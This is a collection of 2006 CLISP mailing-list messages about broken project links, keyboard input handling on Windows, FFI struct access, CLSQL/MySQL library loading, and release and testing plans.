also don't work. 
The next line, help wanted, is currently two different links, one of
which doesn't work.
I'm not sure I understand the difference between "wanted" and the 
next "tasks" link.  The wanted link seems a lot more useful though.

Inside that are more links to such things as doc/multithread.txt,
which also need to be fixed.  


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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-05-16 12:29:12 -0700]:
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> The other links next to tarball, for cvs browsing and development news
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> Inside that are more links to such things as doc/multithread.txt,
> which also need to be fixed.  

SF site is updated daily, so you will have to wait until tomorrow.
GNU site (see the link on http://clisp.cons.org) is updated immediately and
links there have been fixed.

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Hello,

I am running clisp under windows. The following code
(loop

 (if (setq a (read-char-no-hang *keyboard-input*)) (print a)))



Behaves in a counterintuitive (to me) way.



The expected result would be a loop that would print any key pressed. The
actual result differs. Pressing shift, or control, or such, doesn't give
rise to immediate result, but later pressing return prints both the return
and the former shift, control, etc. Any clues what I am doing wrong? Or
suggestions on a better way to do this?



--david.




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   From: "David Picon Alvarez" <eleuteri@myrealbox.com>
   Date: Wed, 17 May 2006 18:59:02 +0200

   Hello,

   I am running clisp under windows. The following code

   (loop
    (if (setq a (read-char-no-hang *keyboard-input*)) (print a)))

   Behaves in a counterintuitive (to me) way.

   The expected result would be a loop that would print any key pressed. The
   actual result differs. Pressing shift, or control, or such, doesn't give
   rise to immediate result, but later pressing return prints both the return
   and the former shift, control, etc. Any clues what I am doing wrong? Or
   suggestions on a better way to do this?

That's your operating system doing you a "favor" by optimizing your
I/O for buffered throughput instead of interactivity.
I know of no portable fix for this but
ask your local MS-Windows wiz.

		Peace
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Is there a way to unpost a message?
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> That's your operating system doing you a "favor" by optimizing your
> I/O for buffered throughput instead of interactivity.
> I know of no portable fix for this but
> ask your local MS-Windows wiz.

Hmm, are you sure this is the case? When I use the call (read-char
*keyboard-input*) the function waits until a key is pressed, and if such key
is shift, control, etc, it is duely detected and reported. For example:
[1]> (read-char *keyboard-input*)

#S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT)

[2]>



So it seems the buffering issue is not it?



--David.




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David Picon Alvarez writes:
> Hello,
> 
> I am running clisp under windows. The following code
> (loop
> 
>  (if (setq a (read-char-no-hang *keyboard-input*)) (print a)))
> 
> 
> 
> Behaves in a counterintuitive (to me) way.
> 
> 
> 
> The expected result would be a loop that would print any key pressed. The
> actual result differs. Pressing shift, or control, or such, doesn't give
> rise to immediate result, but later pressing return prints both the return
> and the former shift, control, etc. Any clues what I am doing wrong? Or
> suggestions on a better way to do this?

Note that *keyboard-input* gets its bytes from the terminal drivers.
What's the ASCII code for Control? or for Shift?

To make it easy for you, here is the ASCII code chart:


  0 NUL    1 SOH    2 STX    3 ETX    4 EOT    5 ENQ    6 ACK    7 BEL  
  8 BS     9 TAB   10 LF    11 VT    12 FF    13 CR    14 SO    15 SI   
 16 DLE   17 DC1   18 DC2   19 DC3   20 DC4   21 NAK   22 SYN   23 ETB  
 24 CAN   25 EM    26 SUB   27 ESC   28 FS    29 GS    30 RS    31 US   
 32 SP    33  !   34  "   35  #   36  $   37  %   38  &   39  '  
 40  (   41  )   42  *   43  +   44  ,   45  -   46  .   47  /  
 48  0   49  1   50  2   51  3   52  4   53  5   54  6   55  7  
 56  8   57  9   58  :   59  ;   60  <   61  =   62  >   63  ?  
 64  @   65  A   66  B   67  C   68  D   69  E   70  F   71  G  
 72  H   73  I   74  J   75  K   76  L   77  M   78  N   79  O  
 80  P   81  Q   82  R   83  S   84  T   85  U   86  V   87  W  
 88  X   89  Y   90  Z   91  [   92  \   93  ]   94  ^   95  _  
 96  `   97  a   98  b   99  c  100  d  101  e  102  f  103  g  
104  h  105  i  106  j  107  k  108  l  109  m  110  n  111  o  
112  p  113  q  114  r  115  s  116  t  117  u  118  v  119  w  
120  x  121  y  122  z  123  {  124  |  125  }  126  ~  127 DEL  

See some "Control" or some "Shift"?


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Oowoowooowooow!  So We got your real address now!  Miam miam!

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   From: "David Picon Alvarez" <eleuteri@myrealbox.com>
   Date: Wed, 17 May 2006 20:02:53 +0200

   > That's your operating system doing you a "favor" by optimizing your
   > I/O for buffered throughput instead of interactivity.
   > I know of no portable fix for this but
   > ask your local MS-Windows wiz.

   Hmm, are you sure this is the case? When I use the call (read-char
   *keyboard-input*) the function waits until a key is pressed, and if such key
   is shift, control, etc, it is duely detected and reported. For example:

   [1]> (read-char *keyboard-input*)
   #S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT)

   So it seems the buffering issue is not it?

Huh, the MS-Windows implementation is better than the BSD implementation then.
I agree it should activate on every key but that is not what it does for me
nor would my system be able to get modifier keys except maybe in X Windows.

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I realize the CLISP-MySQL FFI is not ready for prime time
but does anyone have a real life example of at least
some minimal communication between them?

...
(pushnew #P"/usr/local/lib/mysql/" *FOREIGN-LIBRARY-SEARCH-PATHS* :test #'equal)
(#P"/usr/local/lib/mysql/")
...
(load-foreign-library "clsql-3.5.6/uffi/clsql_uffi.so"
		      :module "clsql-uffi"
		      :supporting-libraries '("c"))
NIL
...
(clsql:connect ... :database-type ':MySQL)
Couldn't load foreign libraries #P"/usr/local/lib/mysql/libmysqlclient", #P"/usr/local/lib/mysql/libmysql", "libmysqlclient", "libmysql". (searched *FOREIGN-LIBRARY-SEARCH-PATHS*)

I see /usr/local/lib/mysql/libmysqlclient.so{,.6,.10}
but no idea why it couldn't load it.
Nothing else has libmysql in the name, should it exist?

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David Picon Alvarez writes:
>I am running clisp under windows. The following code
>(loop
> (if (setq a (read-char-no-hang *keyboard-input*)) (print a)))
>Behaves in a counterintuitive (to me) way.

Could you be more precise? What's printed? What behaviour do you expect =
instead?

I'd like MS-Windows users to comment upon whether SHIFT / CTRL etc. =
should generate individual events, instead of an event only when =
combined with another key, e.g. #\a?
My opinion is "no", because it's not the case with raw mode on UNIX =
(which is what I'm used to): there, shift / ctrl only appear when =
combined with regular keys. Identical behaviour across CLISP platforms =
seems a good goal.

I just wrote the following bug report, not knowing about your problem:
http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1490439&gro=
up_id=3D1355&atid=3D101355
It appears related: you reveal an inconsistent READ-CHAR-NO-HANG =
behaviour with *KEYBOARD-INPUT* precisely in these distinghuishing =
SHIFT/CTRL case.  Old clisp-2.28 would not be inconsistent since then, =
SHIFT or CTRL alone would not return individual INPUT-CHARACTER events.

>The expected result would be a loop that would print any key pressed.
>Pressing shift, or control, or such, doesn't give
>rise to immediate result, but later pressing return prints=20
>both the return and the former shift, control, etc.
Trying it out... Indeed, that's inconsistent. Not pressing any =
character key, just shift or ctrl will cause the application to see =
nothing.  Only when a character key is pressed are plenty of events =
received, the last corresponding to that character key, all others to =
shift / control alone - delayed.

#S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT)
#S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT)
#S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT)
#S(SYSTEM::INPUT-CHARACTER :CHAR #\a :BITS 0 :FONT 0 :KEY NIL)

Regards,
	J=F6rg H=F6hle.


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On 5/17/06, Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com> wrote:
> David Picon Alvarez writes:
> >I am running clisp under windows. The following code
> >(loop
> > (if (setq a (read-char-no-hang *keyboard-input*)) (print a)))
> >Behaves in a counterintuitive (to me) way.
>
> Could you be more precise? What's printed? What behaviour do you expect i=
nstead?
>
> I'd like MS-Windows users to comment upon whether SHIFT / CTRL etc.
> should generate individual events, instead of an event only when combined
> with another key, e.g. #\a? My opinion is "no", because it's not the case
> with raw mode on UNIX (which is what I'm used to): there, shift / ctrl on=
ly
> appear when combined with regular keys. Identical behaviour across CLISP
> platforms seems a good goal.

The CLHS defines read-char-no-hang in terms of `characters.' In
my view, in this context Ctrl/Shift/Alt are modifiers, not characters.
This is a function dealing with streams and thus we are at a level of
abstraction above the system's native representation of keys on
the keyboard.

One of the ways to see the difference in abstraction, at least as far as
Windows is concerned, is to look at what happens at the message loop
level. One can see by calling MapVirtualKey with the virtual key code for
e.g. Shift (which you would get from handling WM_KEYDOWN/WM_KEYUP)
that there is no mapping. Thus you don't get Shift et al reported via
WM_CHAR messages.

I don't think read-char-no-hang is intended to be stretched so
far as to return entities that are not considered characters, and
thus Shift/Ctrl would never appear in an input stream.

So my vote would be `no'. I think that if you want to work with keys
in terms of events and non-translateable codes, then a) you have
to assume that there is a console window open, and b) you have
to write code against the Windows API.

--=20
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On 5/17/06, Jack Unrue <jdunrue@gmail.com> wrote:
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> So my vote would be `no'. I think that if you want to work with keys
> in terms of events and non-translateable codes, then a) you have
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> to write code against the Windows API.

Let me amend that slightly. I have no problem if somebody created
a portable layer for this sort of thing. I really just meant that IMHO
this is an area outside the purview of functions defined by the CLHS.

--=20
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---CLISP version 2.38 (2006-01-24) ---
I'm having a bit of difficulty accessing a C structure from CLISP using the FFI.  I want to use a structure defined in a C shared library as the means to marshal data from CLISP to C and vice versa.  

My C code looks like the following and is built into a shared library for CLISP to access.
----------------------------------------
typedef struct  {
  int n;                     
  double *vals;
  double *dot_vals;
} system_variables;

system_variables sys_var;
----------------------------------------

The corresponding Lisp code is 
----------------------------------------
(use-package "FFI")
(ffi:default-foreign-language :stdc)

; define the type
(ffi:def-c-struct system_variables
   (n ffi:int)
   (vals (ffi:c-array-ptr ffi:double-float))
   (dot_vals (ffi:c-array-ptr ffi:double-float)))

; define the variable
(ffi:def-c-var sys_var 
  (:library "test_lib.so")
  (:name "sys_var")
  (:type (ffi:c-struct system_variables)))
----------------------------------------

Typing "sys_var" at the CLISP prompt displays the structure
#S(SYSTEM_VARIABLES :N NIL :VALS NIL :DOT_VALS NIL)

However, (setf (system_variables-n sys_var) 3) fails to actually change the value of n, and if I call a C function to set the value of n to 3, CLISP still displays the structure as above.

I can modify and access the structure by calling C functions, but I can't seem to manipulate the variable in Lisp.

I tried changing the last line of the variable definition to (:type (ffi:c-ptr system_variables)), which resembles the example in section 31.9 of the CLISP implementation notes, but I don't see any way to access or manipulate the fields.  Typing "sys_var" at the CLISP prompt causes a segmentation fault, which isn't very helpful.  I can call "c-var-address" and "c-var-object" on sys_var, but I can't tell where to go from there.

Any help would be appreciated.

Regards,

Will




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Don Cohen writes:
>Now maybe I can try to build a current CVS clisp.
>It would be useful to mark states that are thought to be relatively
>stable and buildable.
Do you mean "mark releases" or snapshots of CVS?

As far as releases, 2.39 seems like a perfect candidate for "stable": When you look at the ChangeLog or NEWS, you see that there have been only bugfixes, except from the MS-windows I/O speed improvements and some SAVEINITMEM change.
http://clisp.cvs.sourceforge.net/*checkout*/clisp/clisp/src/NEWS

Pro release:
 o MacOS non-blocking socket fix - enough reason on its own for a release?
 o sigsegv fixes

However, time is not ripe for a release IMHO.  YMMV:
1. There are several portabiliy bugs open.

2. I don't have access to a compile farm (firewall).  The minimal thing
   to do prior to release is to test CVS whether it builds an passes tests
   on a lot more platforms than my MS-VC6 and Linux/i386 builds (and
   Yaroslav's mingw, and Dave's Fedora Core etc.).

I'd really appreciate if users with access to some compile farm (either sourceforge or whatever is under the Sun) would build and test CLISP now and then on a lot of different architectures and report errors.
Who volunteers?
BTW, providing patches is even better than reporting errors :-)

3. Beside bug-fixes, it would be nice to stabilize recent features.  The one I think about in this context is the January discussion about the SAVEINITMEM executable file command line arguments.  I haven't followed that closely, but it seems to me there were open suggestions about how to improve the current state (if needed?).

Thanks for reporting the broken links, BTW.  Although we could check links ourselves, there are so many things we could do ourselves (given a lot of time) that I really appreciate every little report and especially patches.
Sam Steingold went ahead and did changes to the home page. Please report if there's still something broken or whatever flows to your mind regarding CLISP.

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	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:
> 2. I don't have access to a compile farm (firewall).

I too.

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Will wrote:
>(ffi:def-c-struct system_variables
>   (n ffi:int)
>   (vals (ffi:c-array-ptr ffi:double-float))
>   (dot_vals (ffi:c-array-ptr ffi:double-float)))
>However, (setf (system_variables-n sys_var) 3) fails to 
>actually change the value of n.

Please try (setf (slot sys_var 'n) 3)

The C struct is not changed because (seft system_variables-n) operates solely on the CLOS instance.  What happens is that the C-struct is converted once to a Lisp object.  From then on you are in the Lisp world. Changes are not reflected to the C world.

To affect the C world, you must strictly stick to the concept of foreign places.
sys_var denotes a place
(ffi:slot sys_var) denotes a place
(identity sys_var) denotes a CLOS instance, converted from the foreign struct
(system_variables-n sys_var) denotes a Lisp object, similarly.

I.e., as soon as you apply a function to a place, conversion to Lisp takes places. Only macros such as FFI:SLOT which are documented to operate on places produce a new place (or modify the C data associated with the place).

As you see, it's different from the concept where a CLOS instance mirrors a foreign location in a proxy-like way.  With the FFI, there's no mirror, just a one-time snapshot copy.

BTW, if you don't care about the CLOS class (I typically don't), there's less overhead in using
(def-c-type system_variables (c-struct list [or array] ...))
instead of def-c-struct
This will produce a list [or array] of the three slots, instead of a CLOS object.

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	Jorg Hohle.


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> I don't think read-char-no-hang is intended to be stretched so
> far as to return entities that are not considered characters, and
> thus Shift/Ctrl would never appear in an input stream.

It is not read-char-no-hang what's stretched, it's ok, the
*keyboard-input* stream is such a special kind of stream.

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> Behaves in a counterintuitive (to me) way.

I think, to use *keyboard-input* on win32 you should enter "random
screen access" mode first (use screen:make-window function) and also
use ext:with-keyboard form (with-keyboard should enable such a mode
alone, I think, but it does not). This is not accented in impnotes (I
bet, you read it, as you know about *keyboard-input*), but I believe
this would be a right way to use *keyboard-input*. Line editing mode
is hard to combine with this single keystroke handling.

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> I'd  like MS-Windows users to comment upon whether SHIFT / CTRL etc.
> should  generate  individual  events,  instead of an event only when
> combined  with  another  key,  e.g. #\a? My opinion is "no", because
> it's not the case with raw mode on UNIX (which is what I'm used to):
> there,  shift  /  ctrl  only appear when combined with regular keys.
> Identical behaviour across CLISP platforms seems a good goal.

Well, UNIX is known to be more limited regarding user interface than
Windows. My vote is 'yes', you never know what users will want.
What if clisp will be used for game programming?

BTW, compatibility with UNIX is the main reason why I didn't add
colors to SCREEN module. Now I think different - each platform should allow all
its capabilities, but the intersection should be common and well designated.

-- 
Best regards,
 Arseny    




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On 5/19/06, Arseny Slobodyuk <ampy@ich.dvo.ru> wrote:
>
> > I don't think read-char-no-hang is intended to be stretched so
> > far as to return entities that are not considered characters, and
> > thus Shift/Ctrl would never appear in an input stream.
>
> It is not read-char-no-hang what's stretched, it's ok, the
> *keyboard-input* stream is such a special kind of stream.

OK. I misunderstood the issue, thanks for clarifying.

--=20
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Jack Unrue wrote:
>On 5/19/06, Arseny Slobodyuk <ampy@ich.dvo.ru> wrote:
>> > I don't think read-char-no-hang is intended to be stretched so
>> > far as to return entities that are not considered characters, and
>> > thus Shift/Ctrl would never appear in an input stream.
>>
>> It is not read-char-no-hang what's stretched, it's ok, the
>> *keyboard-input* stream is such a special kind of stream.
>
>OK. I misunderstood the issue, thanks for clarifying.

IIRC Pascal Bourguignon filed a bug report that READ-CHAR (and thus =
READ-CHAR-NO-HANG etc.) may return something that's not a CHARACTER.  =
This can happen when used with *KEYBOARD-INPUT*: INPUT-CHARACTER is not =
of type CHARACTER, as impnotes documents.
So indeed, one can consider READ-CHAR to be stretched in CLISP.
However, I find this point irrelevant.  When using WITH-KEYBOARD, which =
is clearly non-portable, assumptions about portable code do not hold.
Of course, this is debatable.
I'm not worried by having READ-CHAR return a non-character on weird =
kinds of streams.  Maybe it's bad design?

From a historc perspective, it could be argued that CLISP's =
INPUT-CHARACTER is heritage from CLtL1 where character with BITs and =
FONT existed.  This thing has been removed from ANSI-CL. So the =
question becomes: did CLtL1 consider the shift key as a character?  But =
does CLtL1 matter these days?

Back to the bug at hand, the current summary is:
o portability is valuable
o using platform specific features is equally valuable

One way to reconcile both may be via Jack Unrue's argument that if you =
want platform specific behaviour, call platform specific API functions. =
 Not functions from CLISP which try to be available (with variations) =
on all platforms.
OTOH, documentation of the different behaviour may be good enough.  But =
I fear portability bugs for software developed on UNIX, which errors =
out on MS-Windows when receiving individual shift or ctrl key events.  =
Or from MS-Windows to UNIX, when the software says "press shift key to =
continue..."  (which remembers me of a pinball/flipper game on C64 =
which IIRC used the shift keys -- which CLISP does not differentiate ;)

Regards,
	J=F6rg H=F6hle.


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Hoehle, Joerg-Cyril wrote:
> Jack Unrue wrote:
>> On 5/19/06, Arseny Slobodyuk <ampy@ich.dvo.ru> wrote:
>>>> I don't think read-char-no-hang is intended to be stretched so
>>>> far as to return entities that are not considered characters, and
>>>> thus Shift/Ctrl would never appear in an input stream.
>>> It is not read-char-no-hang what's stretched, it's ok, the
>>> *keyboard-input* stream is such a special kind of stream.
>> OK. I misunderstood the issue, thanks for clarifying.
> 
> IIRC Pascal Bourguignon filed a bug report that READ-CHAR (and thus READ-CHAR-NO-HANG etc.) may return something that's not a CHARACTER.  This can happen when used with *KEYBOARD-INPUT*: INPUT-CHARACTER is not of type CHARACTER, as impnotes documents.
> So indeed, one can consider READ-CHAR to be stretched in CLISP.
> However, I find this point irrelevant.  When using WITH-KEYBOARD, which is clearly non-portable, assumptions about portable code do not hold.
> Of course, this is debatable.
> I'm not worried by having READ-CHAR return a non-character on weird kinds of streams.  Maybe it's bad design?
> 
> From a historc perspective, it could be argued that CLISP's INPUT-CHARACTER is heritage from CLtL1 where character with BITs and FONT existed.  This thing has been removed from ANSI-CL. So the question becomes: did CLtL1 consider the shift key as a character?  But does CLtL1 matter these days?
> 
> Back to the bug at hand, the current summary is:
> o portability is valuable
> o using platform specific features is equally valuable
> 
> One way to reconcile both may be via Jack Unrue's argument that if you want platform specific behaviour, call platform specific API functions.  Not functions from CLISP which try to be available (with variations) on all platforms.
> OTOH, documentation of the different behaviour may be good enough.  But I fear portability bugs for software developed on UNIX, which errors out on MS-Windows when receiving individual shift or ctrl key events.  Or from MS-Windows to UNIX, when the software says "press shift key to continue..."  (which remembers me of a pinball/flipper game on C64 which IIRC used the shift keys -- which CLISP does not differentiate ;)

IMO, the WITH-KEYBOARD/*KEYBOARD-INPUT* design is a bit strange as an 
interface. Things seem very overloaded with standard methods returning 
non-standard data types when wrapped with WITH-KEYBOARD.

I'd rather have a method on *STANDARD-INPUT* or *TERMINAL-IO* called 
RAW-MODE (perhaps a SETF-able boolean property) that puts the stream 
into raw mode and simply allows raw access to characters, insuring that 
any line discipline on the terminal is disabled. On UNIX, this would 
turn off all buffering, and special terminal character processing (C-C, 
C-Z, C-\, etc.). On Windows, this would basically just.  I'd also like a 
IS-A-TTY-P method to operate as expected on *STANDARD-INPUT/OUTPUT* and 
*TERMINAL-IO*. I would have a WITH-RAW-TERMINAL macro that wraps that to 
set/unset the raw mode. I like this better than just WITH-KEYBOARD 
because WITH-KEYBOARD forces the terminal into raw mode for a whole 
branch of the call-graph, where sometimes it's nice to be able to go 
into/out-of raw mode at various places in the program.

Then, I'd like a layer above that which handles Termios processing. 
Right now, that's on by default in WITH-KEYBOARD mode, which is nice 
sometimes, but a bother at others. Perhaps the user creates a TERMIOS 
object and gives it a stream to process, then pulls characters out the 
TERMIOS object. The Termios object would then provide a bunch of methods 
for handling cursor movement, clearing lines, etc., effectively removing 
any need for the programmer to have to deal with the abstract terminal.

Then, for platforms like Windows where you can almost assume that the 
keyboard is an attached hardware device, I'd have another very, 
low-level, raw interface that allows you to detect specific keypresses, 
including keys that don't have ASCII codes such as 
shift/control/alt/etc. I'd make things like KEY events that represent 
KEY strokes, but also low-level KEY-DOWN and KEY-UP events to detect 
things at the raw button level. But, IMO, that's a separate interface, 
specific to platforms that expose that level of functionality and 
separate from the APIs that provide a terminal interface in the 
traditional sense, since the two models are really quite different.

In short, separate out different concepts. The current API is usable but 
it mixes a lot of functionality and even layers of the same 
functionality together. Tease those things apart. Make the concepts 
modular and allow them to be composed to do what the programmer wants. 
Then it's a simple matter to develop convenience functions or macros 
that implement high-level concepts.

Just my $0.02 (or maybe $0.04 given the amount I wrote ;-) ).

-- Dave


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2006-05-19 11:56:43 +0200]:
>
> I'd really appreciate if users with access to some compile farm
> (either sourceforge or whatever is under the Sun) would build and test
> CLISP now and then on a lot of different architectures and report
> errors.

I have cron scripts set up to build clisp nightly on all sf cf hosts.
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> Maybe it's bad design?
IMO, CL standard is limited in this regard - low level read functions
can only return unsigned-bytes or characters. READ can return
different objects but it's assumed, that READ construct it from
text characters. I don't think READ-CHAR returns special struct when
called to *keyboard-stream* is a big problem, either.

> behaviour  may  be  good  enough.  But  I  fear portability bugs for
> software  developed  on  UNIX,  which  errors out on MS-Windows when
> receiving individual shift or ctrl key events. Or from MS-Windows to
> UNIX, when the software says "press shift key to continue..." (which
> remembers  me  of  a pinball/flipper game on C64 which IIRC used the
> shift keys -- which CLISP does not differentiate ;)

I wonder if there's just one unix or windows useful lisp program that
uses SCREEN. I once wrote one, I even reached to kinda window oriented
library and line-editing which worked in unix and windows, but haven't
finished.

Using API is powerful approach indeed, but it's too consuming.
Modify of program (remap shifts to something else on unix or just eat
shifts and controls silently on unix) is far more simple task, given
one have sources, which is true as we are talking about GNU programs.

-- 
Best regards,
 Arseny    




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 > Don Cohen writes:
 > >Now maybe I can try to build a current CVS clisp.
 > >It would be useful to mark states that are thought to be relatively
 > >stable and buildable.
 > Do you mean "mark releases" or snapshots of CVS?
I meant CVS.
 > As far as releases, 2.39 seems like a perfect candidate for "stable":
2.39? I've never heard of it before?  It's not listed in
http://clisp.sourceforge.net/
If it has my two favorite bugs fixed from .38 (server not allowing
connections from all IP's and socket-status blocking when it
shouldn't) and not too many more introduced I'll use it.  
BTW, are there entries in the test suite for those?
I know the only way to find out what other bugs (that affect ME) have 
been introduced is to try it.  That's another reason to try it.

If I thought longer strings might soon be working then I'd be tempted
to wait for that.  (I'm happy that I have long strings on 64 bit though.)

 > Pro release:
 >  o MacOS non-blocking socket fix - enough reason on its own for a release?
 >  o sigsegv fixes
 > 
 > However, time is not ripe for a release IMHO.  YMMV:
 > 1. There are several portabiliy bugs open.
namely?
What other bugs?  Are they all listed under
  SourceForge Project Home
        * bug reports
 > 2. I don't have access to a compile farm (firewall).  The minimal thing
 >    to do prior to release is to test CVS whether it builds an passes tests
 >    on a lot more platforms than my MS-VC6 and Linux/i386 builds (and
 >    Yaroslav's mingw, and Dave's Fedora Core etc.).
I only have a few different linux versions.

 > Thanks for reporting the broken links, BTW.  Although we could
 > check links ourselves, there are so many things we could do
 > ourselves (given a lot of time) that I really appreciate every
 > little report and especially patches.
(After all, finding bugs is what users are for, right?)
The change in SF seems to have left broken links in many different
projects.


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Joerg-Cyril Hoehle writes:

> Don Cohen writes:
>>Now maybe I can try to build a current CVS clisp.
>>It would be useful to mark states that are thought to be relatively
>>stable and buildable.
> Do you mean "mark releases" or snapshots of CVS?
>
> As far as releases, 2.39 seems like a perfect candidate for "stable": When you look at the ChangeLog or NEWS, you see that there have been only bugfixes, except from the MS-windows I/O speed improvements and some SAVEINITMEM change.
> http://clisp.cvs.sourceforge.net/*checkout*/clisp/clisp/src/NEWS
>
> Pro release:
>  o MacOS non-blocking socket fix - enough reason on its own for a release?
>  o sigsegv fixes
>
> However, time is not ripe for a release IMHO.  YMMV:
> 1. There are several portabiliy bugs open.
>
> 2. I don't have access to a compile farm (firewall).  The minimal thing
>    to do prior to release is to test CVS whether it builds an passes tests
>    on a lot more platforms than my MS-VC6 and Linux/i386 builds (and
>    Yaroslav's mingw, and Dave's Fedora Core etc.).
>
> I'd really appreciate if users with access to some compile farm (either sourceforge or whatever is under the Sun) would build and test CLISP now and then on a lot of different architectures and report errors.
> Who volunteers?
>

If that can help, I can set up tests on GNU/Linux X86 and PPC, 
Windows XP, MacOS X and NetBSD x86. In all case, I run mcclim with
clisp under GNU/Linux and MaxOSX with the current clisp stable
release.

> BTW, providing patches is even better than reporting errors :-)
>
Hum, don't know for this part, but if I can... :)


[...]


Thanks a lot for your great work!

best regards,

Philippe

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I am very saddened to have to report that I am forced to punt CLISP
in favor of Python.  The SQL libraries actually work, what a relief
and those triple quotes are kinda cute.  Although my code is not as
nice, working libraries take me a long way.  [insert rant ad lib]

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Hi,
I know there is a utility for wrapping regular function in AllegroCL. From a
user perspective it works somewhat similar to :around method in a gen-function.
It is a nice utility, when it is needed.
Does anything like this wrapping utility exists for CLisp (or other CL's) ?



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<  Hi,
<  I know there is a utility for wrapping regular function in AllegroCL. From a
<  user perspective it works somewhat similar to :around method in a gen-function.
<  It is a nice utility, when it is needed.
<  Does anything like this wrapping utility exists for CLisp (or other CL's) ?

I'm by no means that skilled in CL (for now ;-)), but I guess this might be useful:

http://www.cs.cmu.edu/~dst/Lisp/dtrace/dtrace.generic

Could you possibly replace the function in the same way that trace-function does (by setf-ing (symbol-function <whatever>) with a lambda)?

Jakub Hegenbart


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 > I know there is a utility for wrapping regular function in AllegroCL. From a
 > user perspective it works somewhat similar to :around method in a gen-function.
This is what trace does.  See the options in impnotes 25.2.5
Not as fancy as advice was in interlisp, but normally adequate.
 > It is a nice utility, when it is needed.
 > Does anything like this wrapping utility exists for CLisp (or other CL's) ?

 > http://www.cs.cmu.edu/~dst/Lisp/dtrace/dtrace.generic
Looks pretty much like trace.
 > Could you possibly replace the function in the same way that
 > trace-function does (by setf-ing (symbol-function <whatever>) with a
 > lambda)? 
This is the fall back position if you're not satisfied with what you
have - write your own.


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  > I am very saddened to have to report that I am forced to punt CLISP
  > in favor of Python.  The SQL libraries actually work, what a relief
  > and those triple quotes are kinda cute.  Although my code is not as
  > nice, working libraries take me a long way.  [insert rant ad lib]
 
 Which libraries, what DB's, what platform are you trying to use?
 I did manage to get odbc-cl to work, and it's pretty straight forward
 to use something like the mysql command from clisp.
 Clsql seems not to work at the moment, though I don't know why. 
 I bet it wouldn't be too hard to fix.


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   From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen)
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    Clsql seems not to work at the moment, though I don't know why. 
    I bet it wouldn't be too hard to fix.

I thought so too but was mistaken.

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On May 20, 2006, at 10:58 PM, Don Cohen wrote:
>  Clsql seems not to work at the moment, though I don't know why.
>  I bet it wouldn't be too hard to fix.

Were you trying this with hacked UFFI, or CFFI's uffi-compat?

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Don Cohen wrote:

>  
>   > I am very saddened to have to report that I am forced to punt CLISP
>   > in favor of Python.  The SQL libraries actually work, what a relief
>   > and those triple quotes are kinda cute.  Although my code is not as
>   > nice, working libraries take me a long way.  [insert rant ad lib]
>  
>  Which libraries, what DB's, what platform are you trying to use?
>  I did manage to get odbc-cl to work, and it's pretty straight forward
>  to use something like the mysql command from clisp.
>  Clsql seems not to work at the moment, though I don't know why. 
>  I bet it wouldn't be too hard to fix.

Clsql relies on uffi. Cffi's uffi compatibility module has some problems.
I submitted a patch to Luís Oliveira and he seems favorable to incorporating it.

Clsql itself has problems with it's library loader code (find-and-load-foreign-library)
if you are on windows or cygwin, but it's only one function that needs to be reworked.
If you're on windows you also have to make sure that all library C code is recompiled into
Dlls (not unix shared libraries). If you are using Cygwin you also may need to rename the
Dlls so that they have an .so extension. Also, Clsql's make files have to be tweaked unless
you are running on a major platform. Oh, and Clsql's loop macro doesn't work on Clisp (but
it's not needed). A bunch of silly little details, to be sure, but once you know what
needs a little lovin' it isn't that hard (except figuring out that cffi/uffi patch--that
was hard). I use Clsql to connect to Mysql 4.1 using Clsql's mysql package. And, as you've
probably guessed by now, I'm running on cygwin, which made it that much more interesting.

I agree that the state of Lisp's (free) libraries need more attention. That's why I think
the Python, Perl, PHP, and Ruby communities are so vibrant -- their libraries are mature,
maintained, and continue to grow. Can't say the same for Lisp, sadly.

Happy trails.



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On 2006/05/21, at 17:00, Lou Vanek wrote:
> I agree that the state of Lisp's (free) libraries need more  
> attention. That's why I think
> the Python, Perl, PHP, and Ruby communities are so vibrant -- their  
> libraries are mature,
> maintained, and continue to grow. Can't say the same for Lisp, sadly.

Which is the reason why CL-Gardeners was born I gather.

JC Helary


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   From: Lou Vanek <vanek@acd.net>
   Date: Sun, 21 May 2006 08:00:33 +0000

   Clsql relies on uffi.  Cffi's uffi compatibility module has some
   problems.  I submitted a patch to Lu=EDs Oliveira and he seems
   favorable to incorporating it.

Gee, would you send me all the non-CLISP sources, patched or original,
that went into your working CLSQL package?  If I get it to work here
I'll send back the fixes.

   I agree that the state of Lisp's (free) libraries need more
   attention.  That's why I think the Python, Perl, PHP, and Ruby
   communities are so vibrant -- their libraries are mature,
   maintained, and continue to grow.  Can't say the same for Lisp,
   sadly.

Amen!  Back to Python.

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Here's a long standing problem that I only now begin to think of as a
clisp bug.  Let's see what the rest of you think.
Consider a batch file with a command like
 clisp -i start.lsp -p MYPKG
The behavior I see suggests that this is interpreted as something like
 (progn (load "start.lsp")(in-package "MYPKG"))
 
The problem is that if the load breaks and the user aborts then he
doesn't end up in MYPKG.  One common case is that the load actually
goes into a user interaction loop in which the code expects to be in
MYPKG.  In the case where the user is not actually a programmer one 
usually tries to catch errors, but it's sometimes useful (esp. for 
debugging) to break.  At that point you might want to abort and
restart, or the user might abort accidentally and want to restart.
In that situation it would be nice to be in MYPKG after the abort.

I think I'd prefer to do the in-package first.  That's actually what 
I would have expected.  The only problem I see is that such a change 
could break some existing working code.
How about unwind-protect instead of progn?



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Sure. I'll pack up a tar ball, give it a shake or two, and email it to you.
Give me some time to put it together because a code review is in process!

I'll assume you aren't a complete newbie and know the basics on setting
up asdf packages manually; that will make my end simpler. I'll also assume
you have a working mysql installation and the "libmysql.dll" that is normally
installed in the "MySQL Server X.X/lib/opt/" directory.

-lv


Devon Sean McCullough wrote:

>    From: Lou Vanek <vanek@acd.net>
>    Date: Sun, 21 May 2006 08:00:33 +0000
> 
